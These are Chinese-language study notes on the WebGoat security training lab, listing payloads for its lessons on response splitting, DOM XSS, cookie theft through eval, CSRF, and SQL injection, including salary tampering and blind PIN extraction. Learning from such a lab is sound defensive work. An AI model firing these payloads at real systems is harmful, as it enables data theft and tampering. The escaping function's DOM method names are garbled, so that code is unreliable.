WebGoat笔记
-
http splitting 对于302请求执行splitting,更改Last-Modified属性到未来时间来更改cookie
foobar Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT Content-Length: 47 Hacked J
- 基于dom的XSS
-
使用img
<img src=x onerror=;;alert('xss') />
-
使用iframe
<IFRAME src="javascript:alert('xss');"></IFRAME>
-
其他标签
please enter your password:<BR><input type="password" name="pass"/> <button onClick="javascript:alert('i have your password: '+pass.value);"></button>
-
scape来防止基于dom的XSS
function escapeHTML (str) { var div = document_createElement_x_x_x_x_x('div'); var text = document_createTextNode(str); div.a(text); return div.innerHTML; }
-
-
AJAX响应中的DOM注入 一般在处理AJAX响应的时候会使用eval(),这样在响应中注入需要的JavaScript代码(如:
document.form.SUBMIT.disabled = false;
) -
AJAX响应中的XML/json注入 修改AJAX响应中的xml/json数据
-
使用eval的危险 如果AJAX响应中有执行eval_r()代码会很危险,通过注入来执行自己的代码,例如:
123');alert(document.cookie);('
-
java检验输入的字符串防止存储的xss
String regex = "[\\s\\w-,]*"; String stringToValidate = firstName+lastName+ssn+title+phone+address1+address2+ startDate+ccn+disciplinaryActionDate+ disciplinaryActionNotes+personalDescription; Pattern pattern = Pattern.compile(regex); validate(stringToValidate, pattern);
-
java对输出的字符串encode防止存储的xss 使用这里的encode方法
-
需要确认的CSRF 通过iframe
通过img
-
带有标识码的CSRF。在访问一个页面后生成的标识码,要作为参数在伪装的请求中提交 提交一个请求,获取响应中的CSRFToken参数的值,在最终的请求中提交
- 注入
- 命令注入 (使用;分隔多个命令)
- xpath注入 http://www.w3school.com.cn/xpath/
-
SQL注入。使用or和and;–注释; 例子:
smith' OR '1' = '1 101 OR 1=1 whatever'; UPDATE salaries SET salary=999999 WHERE userid='jsmith 数字盲打:101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 ); 猜字:101 AND (SELECT ASCII(SUBSTR(name,1,1)) FROM pins WHERE cc_number=1111222233334444)=74 (转成charcode是为了使用一些工具(jhijack)进行一定范围内('A' = 65 'Z' = 90 'a' = 97 'z' = 122)的批量测试)
- 会话完成攻击(Session fixation)
这个哥们写得挺有意思。。。。
http://blog.sina.com.cn/s/articlelist_1829596415_0_2.html)